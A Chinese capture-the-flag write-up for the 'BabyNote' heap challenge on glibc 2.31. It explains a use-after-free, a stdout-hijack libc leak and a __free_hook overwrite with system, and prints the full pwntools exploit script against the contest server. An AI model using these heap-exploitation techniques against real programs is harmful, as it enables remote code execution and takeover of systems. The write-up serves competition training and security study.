感谢师兄们的带飞,本次比赛线上综合全省第八
BabyNote
做题好习惯查版本和checksec
1 2 3 4 5 6 7 8 9 10
| q@ubuntu:~/Desktop$ strings -a ./by | grep "GCC" GCC: (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0 q@ubuntu:~/Desktop$ checksec by [*] '/home/q/Desktop/by' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
|
Ubuntu20的 提供的libc也可以看出来2.31的libc
保护全开非常不友好啊
概检
看题目去吧
经典菜单题,有hint(我没用到),缺少show功能
做堆按照常规思路没有show我们就要想办法去劫持stdout
经过检查add函数里面没有溢出
dele函数里面存在UAF漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| ((void (__fastcall *)(__int64, char **, char **))((char *)&sub_1248 + 1))(a1, a2, a3); while ( 1 ) { while ( 1 ) { menu(); __isoc99_scanf("%d", &v3); if ( v3 != 666 ) break; hint(); } if ( v3 > 666 ) goto LABEL_15; if ( v3 == 4 ) exit(0); if ( v3 > 4 ) { LABEL_15: puts("Invalid choice!"); } else { switch ( v3 ) { case 3: dele(); break; case 1: add(); break; case 2: edit(); break; default: goto LABEL_15; } } } }
|
概思
通过低字节覆盖 unsorted bin 留下的 main_arena 指针,再加以爆破 4 位,就能分配到 _IO_2_1_stdout ,通过篡改 _IO_2_1_stdout 的 flags 为 0x0FBAD1887(改了flag后才能写入\x00) ,_IO_write_base 低字节覆盖,然后当程序调用 puts 输出任意信息时,就会输出 _IO_write_base 到 _IO_write_ptr 之间的数据,而这之间就有 libc 的指针。
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| from pwn import * context.log_level = 'debug'
def add(content): p.sendlineafter(">>> ",str(1)) p.sendafter("Input Content:\n",content) def dele(id): p.sendlineafter(">>> ",str(3)) p.sendlineafter("Input ID:\n",str(id)) def edit(id,content): p.sendlineafter(">>> ",str(2)) p.sendlineafter("Input ID:\n",str(id)) p.sendafter("Input Content:\n",content)
def pwn(): add('a'*58) add('a'*58) add('a'*58) for _ in range(8): dele(0) edit(0,'b'*0x58) edit(0,'\x00'*0x10) p.sendlineafter(">>> ",'1'*0x450) edit(0,'\xa0\x66')
_IO_2_1_stdout_ = libc.symbols['_IO_2_1_stdout_'] log.info("_IO_2_1_stdout_:"+hex(_IO_2_1_stdout_))
add('c'*0x8) add(p64(0x0FBAD1887) +p64(0)*3 + p8(0x00)) libc_base = u64(p.recvuntil('\x7f',timeout=1)[-6:].ljust(8,'\x00'))-0x1eb980 log.info("libc_base:"+hex(libc_base))
free_hook = libc_base+libc.sym['__free_hook'] system_addr = libc_base+libc.sym['system'] dele(1) edit(1,p64(free_hook)*2) add('/bin/sh\x00') add(p64(system_addr)) dele(1)
p.interactive()
if __name__ == '__main__': p = remote("8.134.14.168", 10000) libc = ELF("./libc-2.31.so") while True: try: pwn() exit(0) except: p.close() p = remote("8.134.14.168", 10000)
|
详解
如下第一部分代码
我们都知道要想泄露libc需要unsortedbin需要show
我们一步步完成,show可以用劫持stdout完成
构造unsortedbin如下
创建3个堆块OFF BY NULL
然后多次释放填充满tcache,让chunk进入fastbin
接着去触发malloc_consolidate
malloc_consolidate的作用就是当scanf输入的数据大小大于0x400
就会malloc一个largebin在缓冲区暂时的存放数据
并且将fastbin的chunk整合到unsortedbin中
1 2 3 4 5 6 7 8 9
| def pwn(): add('a'*58) add('a'*58) add('a'*58) for _ in range(8): dele(0) edit(0,'b'*0x58) edit(0,'\x00'*0x10) p.sendlineafter(">>> ",'1'*0x450)
|
有了unsortedbin中存在的main_arena指针
我们就要想办法去leak他此时就要开始劫持stdout了
传入的地址是为了爆破到<_IO_2_1_stdout_>,概率1/16
爆破地址查看p &_IO_2_1_stdout_
后面低三位的6a0不变第四位随意写去爆破
1 2 3
| pwndbg> p &_IO_2_1_stdout_ $1 = (struct _IO_FILE_plus *) 0x7ffff7faf6a0 <_IO_2_1_stdout_>
|
调用一个堆块隔开避免填充错误
接着最关键的来了修改_IO_2_1_stdout_的flag以及低字节覆盖到
_IO_write_base
这样就能输出指向libc的地址啦
1 2 3 4 5 6 7
| edit(0,'\xa0\x66')
_IO_2_1_stdout_ = libc.symbols['_IO_2_1_stdout_'] log.info("_IO_2_1_stdout_:"+hex(_IO_2_1_stdout_))
add('c'*0x8) add(p64(0x0FBAD1887) +p64(0)*3 + p8(0x00))
|
接着我们就可以有libc_base啦,找的是libc和_IO_2_1_stdout_的偏移
输入libc查看当前libc
输入p _IO_2_1_stdout_查看_IO_2_1_stdout_
用_IO_2_1_stdout_-libc 就可以得到offset
泄露的libc-offset就是libc_base啦
有了这个不就是随便打了吗
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| libc_base = u64(p.recvuntil('\x7f',timeout=1)[-6:].ljust(8,'\x00'))-0x1eb980 log.info("libc_base:"+hex(libc_base))
free_hook = libc_base+libc.sym['__free_hook'] system_addr = libc_base+libc.sym['system'] dele(1) edit(1,p64(free_hook)*2) add('/bin/sh\x00') add(p64(system_addr)) dele(1)
p.interactive()
if __name__ == '__main__': p = remote("8.134.14.168", 10000) libc = ELF("./libc-2.31.so") while True: try: pwn() exit(0) except: p.close() p = remote("8.134.14.168", 10000)
|
BabyNote_revenge
加了沙箱和没加一样happy,直接非预期照搬上面就行了perfect